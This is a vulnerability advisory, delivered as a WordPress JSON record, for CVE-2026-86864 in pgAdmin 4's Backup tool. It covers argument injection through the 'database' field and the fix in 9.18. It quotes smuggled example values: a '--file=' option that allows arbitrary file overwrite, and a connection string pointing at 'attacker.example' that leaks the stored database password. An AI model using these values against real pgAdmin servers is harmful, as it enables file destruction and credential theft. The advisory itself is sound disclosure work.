{"id":25436,"date":"2026-09-18T00:32:34","date_gmt":"2026-09-17T16:32:34","guid":{"rendered":"https:\/\/www.54iter.cn\/?vuln=cve-2026-86864"},"modified":"2026-09-18T00:32:34","modified_gmt":"2026-09-17T16:32:34","slug":"cve-2026-86864","status":"publish","type":"vuln","link":"https:\/\/www.54iter.cn\/?vuln=cve-2026-86864","title":{"rendered":"CVE-2026-86864 [HIGH] &#8211; pgAdmin 4&#8217;s Backup tool appended the client-supplied &#8216;database&#8217; field from the \/backup\/job"},"content":{"rendered":"<p>pgAdmin 4&#8217;s Backup tool appended the client-supplied &#8216;database&#8217; field from the \/backup\/job\/\/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as &#8211;file=\/absolute\/path therefore overrode the storage-confined &#8211;file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user&#8217;s File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin&#8217;s own configuration database and, depending on the target chosen, be escalated further.<\/p>\n<p>The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the &#8211;host and &#8211;port that pgAdmin passes, so a value such as &#8216;host=attacker.example port=5432 dbname=x&#8217; redirected pg_dump to a server of the attacker&#8217;s choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.<\/p>\n<p>The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import\/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.<\/p>\n<p>This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>pgAdmin 4&#8217;s Backup tool appended the client-supplied &#8216;database&#8217; field from the \/backup\/job\/\/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Be<\/p>\n","protected":false},"template":"","meta":[],"categories":[],"tags":[],"class_list":["post-25436","vuln","type-vuln","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/vuln\/25436","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/vuln"}],"about":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/types\/vuln"}],"wp:attachment":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=25436"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=25436"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=25436"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}